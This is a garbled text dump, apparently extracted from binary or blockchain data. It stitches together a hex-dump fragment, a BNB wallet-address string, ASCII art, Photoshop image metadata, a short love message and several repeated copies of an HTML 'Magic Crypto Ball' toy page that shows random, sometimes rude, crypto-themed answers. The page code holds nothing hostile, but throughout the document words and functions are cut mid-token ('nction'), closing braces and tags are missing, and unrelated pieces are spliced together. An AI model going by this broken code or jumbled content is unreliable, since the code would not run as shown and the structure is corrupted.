000000F0   79 62 E0 EA 1F 61 DE B6  49 F6 BC 3F 4C EF 38 C4   yb
00000100   F3 55 04 E5 1E C1 12 DE  5C 38 4D F7 BA 0B 8D 57
00000110   8A 4C 70 2B 6B F1 1D 5F  AC 00 00 00 00
CjA=:BNB.BNB:bnb1l0wxussgjdcx783e4d9hk2hfwxl2jv43q8hlaj:7975381:te:0
text/plain;charset=utf-8
\.\...\...\...\.\...\\...\.........\...\\.....\...\...\.....\...
............\..\..\..\..\\.\\.\\..\..\..\..\..\.................
\.......\..\...\...\....\.\....\...\....\.\....\...\......\.\...
....\.\.\.\...........\.\......\.\.........\.\.\.\.\.........\.\
...\.......\\..\.....\...\........\........\...\.....\..\\......
..........\....\\..\\\...\..........\...\\...\\..............\..
\..\.........\\..\........\..\\.........\.\\.........\..\\.\....
.........\.\.\.\\.\.\.............\.\.\\.................\.\....
..\\....\\....\\....\\....\\....\\....\\....\\..................
.......\\..\.......\..\......\..\......\..\\......\..\\........\
\..\.\.........\.\..\.\..\......\.\..\..\.\......\.\\.\..\.\....
..\.\..\.\.....\............\.\.....\.\..\.\.....\.\.\..........
.\..\.......\.....\..\.....\.\.....\..\.....\.......\\......\\..
......\\.......\....\.......\\...\.......\\......\\...\........\
\.....\.\......\.\.....\.\.........\......\\.\....\.\\......\...
.\\.\\.\\.\\.\\.\\..\..\........................................
\....\.\.......\....\.\......\\\....\.......\\\............\\\..
......\...\...\\......\...\...\\..........\...\\..........\...\\
.\.....\....\.......\....\.....\....\.......\..\.\.....\..\.\...
..\..\...\.........\...\...\.\...\...\...\...\.\...\...\........
\....\.\\.\..\.\\.\....\.........................\..\.\..\.\\.\.
\\..\\..\...\.........................\...\...\..\\..\\..\...\..
...\.....\\.....\\.....\.....\\.....\.......\.....\.\.....\.....
..............\\...\\.\\\..\....\....................\...\\..\\\
.\\\...................\\\......\\\...................\\\......\
\\..\\....\...\...\.....\...\...\.....\...\........\\..\\.......
..\...\.\........\........\........\........\........\........\.
.\......\...\......\...\......\...\......\...\.\....\...\.\.....
.\.........\.\...........\...........\...........\.\.........\.\
......\..\..\\..\..\..\..........\..\..\.............\..\..\..\.
.\....\....\....\\....\....\......\....\....\.....\....\....\...
.\\\............\\\............\......\\\............\\\........
.\\\............\\\............\......\\\............\\\........
.\....\....\....\\....\....\......\....\....\.....\....\....\...
......\..\..\\..\..\..\..........\..\..\.............\..\..\..\.
.\.........\.\...........\...........\...........\.\.........\.\
.\......\...\......\...\......\...\......\...\.\....\...\.\.....
..\...\.\........\........\........\........\........\........\.
\\..\\....\...\...\.....\...\...\.....\...\........\\..\\.......
.\\\...................\\\......\\\...................\\\......\
..............\\...\\.\\\..\....\....................\...\\..\\\
...\.....\\.....\\.....\.....\\.....\.......\.....\.\.....\.....
\\..\\..\...\.........................\...\...\..\\..\\..\...\..
\....\.\\.\..\.\\.\....\.........................\..\.\..\.\\.\.
..\..\...\.........\...\...\.\...\...\...\...\.\...\...\........
.\.....\....\.......\....\.....\....\.......\..\.\.....\..\.\...
......\...\...\\......\...\...\\..........\...\\..........\...\\
\....\.\.......\....\.\......\\\....\.......\\\............\\\..
.\\.\\.\\.\\.\\.\\..\..\........................................
\.....\.\......\.\.....\.\.........\......\\.\....\.\\......\...
......\\.......\....\.......\\...\.......\\......\\...\........\
.\..\.......\.....\..\.....\.\.....\..\.....\.......\\......\\..
..\.\..\.\.....\............\.\.....\.\..\.\.....\.\.\..........
\..\.\.........\.\..\.\..\......\.\..\..\.\......\.\\.\..\.\....
.......\\..\.......\..\......\..\......\..\\......\..\\........\
..\\....\\....\\....\\....\\....\\....\\....\\..................
.........\.\.\.\\.\.\.............\.\.\\.................\.\....
\..\.........\\..\........\..\\.........\.\\.........\..\\.\....
..........\....\\..\\\...\..........\...\\...\\..............\..
...\.......\\..\.....\...\........\........\...\.....\..\\......
....\.\.\.\...........\.\......\.\.........\.\.\.\.\.........\.\
\.......\..\...\...\....\.\....\...\....\.\....\...\......\.\...
............\..\..\..\..\\.\\.\\..\..\..\..\..\.................
\.\...\...\...\.\...\\...\.........\...\\.....\...\...\.....\...
&iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.1b65a79b4, 2022/06/13-22:01:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 23.5 (WindowsM
)" xmpMM:InstanceID="xmp.iid:A87A2DA2ABC811ED86BFC2E1E4590150" xmpMM:DocumentID="xmp.did:A87A2DA3ABC811ED86BFC2E1E4590150"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A87A2DA0ABC811ED86BFC2E1E4590150" stRef:documentID="xmp.did:A87A2DA1ABC811ED86BFC2E1E4590150"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
9j7CARRIE YOUR HEART IS PRECIOUS AND I WILL NEVER BREAK IT
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:9C516D1FA8C311ED8DFEE2F9EE2355BE" xmpMM:InstanceID="xmp.iid:9C516D1EA8C311ED8DFEE2F9EE2355BE" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyM
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyM
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers=["It is certain","Crypto says yes!","Blockchain confirms it","Crypto is the future!","Trust the ledger","As I see it, yes","Highly likely","Outlook promising","Yes","The market points to yes","Price is uncertain, try again","Check the hash rate later","It's too volatile to tell now","Cannot predict the market M
now","Study the charts and ask again","Don't invest in it","My reply is no","The miners say no","Outlook not so good","Very doubtful","The miners are optimistic","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","The market points to no","Outlook is grim","Crypto is unstoppable!","Crypto is here to stay!"];
		var answerFinishedAt=new Date().getTime();
		function magicBall(){
			if (!isAnswerFinished()) return;
randomAnswer=answers[Math.floor(Math.random()*answers.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*30;
		function isAnswerFinished(){
			return new Date().getTime()>answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absoluM
te;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;text-shadow: 0px 0px 5px #000000;}
		.fade {animation: 10s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
		  100% {opacity:1;transform:scale(1);}
    <div onclick="magiM
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#000000" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#222222"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#000000"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="50%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
rcle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#666666" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
				<stop offset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
rGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#000000"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="url(#shiny-gradient)"/>
				<circle r="28.5%" cy="50%" cx="5M
0%" stroke-width="3px" stroke="#EEEEEE" fill="none" filter="url(#shadow)"/>
				<circle r="27%" cy="50%" cx="50%" stroke-width="2px" stroke="#32CD32" fill="url(#gloss)" filter="url(#shadow)"/>
			<radialGradient id="shiny-gradient">
				<stop offset="20%" stop-color="#FFFFFF" stop-opacity="1"/>
				<stop offset="65%" stop-color="#FFFFFF" stop-opacity="0.4"/>
				<stop offset="90%" stop-color="#FFFFFF" stop-opacity="0.2"/>
				<stop offset="99%" stop-color="#FFFFFF" stop-opacity="0.05"/>
fset="100%" stop-color="#FFFFFF" stop-opacity="0"/>
			</radialGradient>
			<linearGradient id="gloss" x1="0%" y1="0%" x2="0%" y2="100%">
				<stop offset="0%" stop-color="#ffffff"/>
				<stop offset="100%" stop-color="#aaaaaa"/>
			</linearGradient>
			<filter id="shadow">
			<feDropShadow dx="0" dy="0" stdDeviation="3" flood-color="#127B12"/>
		<div class="textArea">
			<p id="answer" class="text fade">Ask me a question and click</p>
text/html;charset=utf-8
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Magic Crypto Ball</title>
		var answers = ["It is certain","That's a ridiculous question!","Crypto is the future!","Highly likely","Outlook promising","Yes","Price is uncertain, try again","That's none of your business!","Go ask someone else!","Go away!","Study the charts and ask again","Don't invest in it","I'm not telling you!","No, and don't ask M
me again!","Outlook not so good","Very doubtful","That's not my problem!","Outlook is bright for crypto!","The market sees potential","It's a great opportunity!","Cannot trust the market now","Outlook not so promising","Outlook is grim"];
		var complains=["Stop talking over me","Shut up and let me talk!","Keep quiet and let me finish","Zip it, I'm not done yet","Keep quiet until I'm done","Shut up and let me finish","Sit down and be quiet"];
		var answerFinishedAt=new Date().getTime();
		var interrupted=0;
nction magicBall() {
			if (interrupted==1) return;
			if (!isAnswerFinished())
				getInterruptReply();
			var randomAnswer = answers[Math.floor(Math.random() * answers.length)];
			document.getElementById("answer").innerHTML = "";
			for (let i=0;i<randomAnswer.length;i++){
			  setTimeout(()=>{
				if (interrupted==0) document.getElementById("answer").innerHTML+=randomAnswer[i];
			answerFinishedAt=new Date().getTime()+randomAnswer.length*80;
n getInterruptReply(){
			var randomComplain=complains[Math.floor(Math.random()*complains.length)];
			document.getElementById("answer").innerHTML="";
			for (let i=0;i<randomComplain.length;i++){
			  setTimeout(()=>{
				document.getElementById("answer").innerHTML+=randomComplain[i];
		function isAnswerFinished(){
			return new Date().getTime()>=answerFinishedAt;
		body {overflow:hidden;margin:0;}
		.textArea {position:absolute;top:0;left:0;width:100%;height:100%;display:flex;justify-content:center;align-items:center;}
		.text {font-size:calc(6vw);font-weight:bold;margin:0 30%;text-align:center;-webkit-user-select:none;user-select:none;color:#228B22;text-shadow: 0px 0px 5px #228B22;}
		.fade {animation: 15s anim-fade ease-out infinite;}
		@keyframes anim-fade {
		  0% {opacity:1;transform:scale(1);}
		  50% {opacity:0.3;transform:scale(0.95);}
:1;transform:scale(1);}
    <div onclick="magicBall()">
		<svg width="100vw" height="100vh" xmlns="http://www.w3.org/2000/svg" xmlns:svg="http://www.w3.org/2000/svg">
				<circle r="49%" cy="50%" cx="50%" fill="#228B22" filter="url(#shadow)"/>
				<circle r="47.5%" cy="50%" cx="50%" fill="#2E9E2E"/>
				<circle r="47.5%" cy="51.5%" cx="51.5%" fill="#228B22"/>
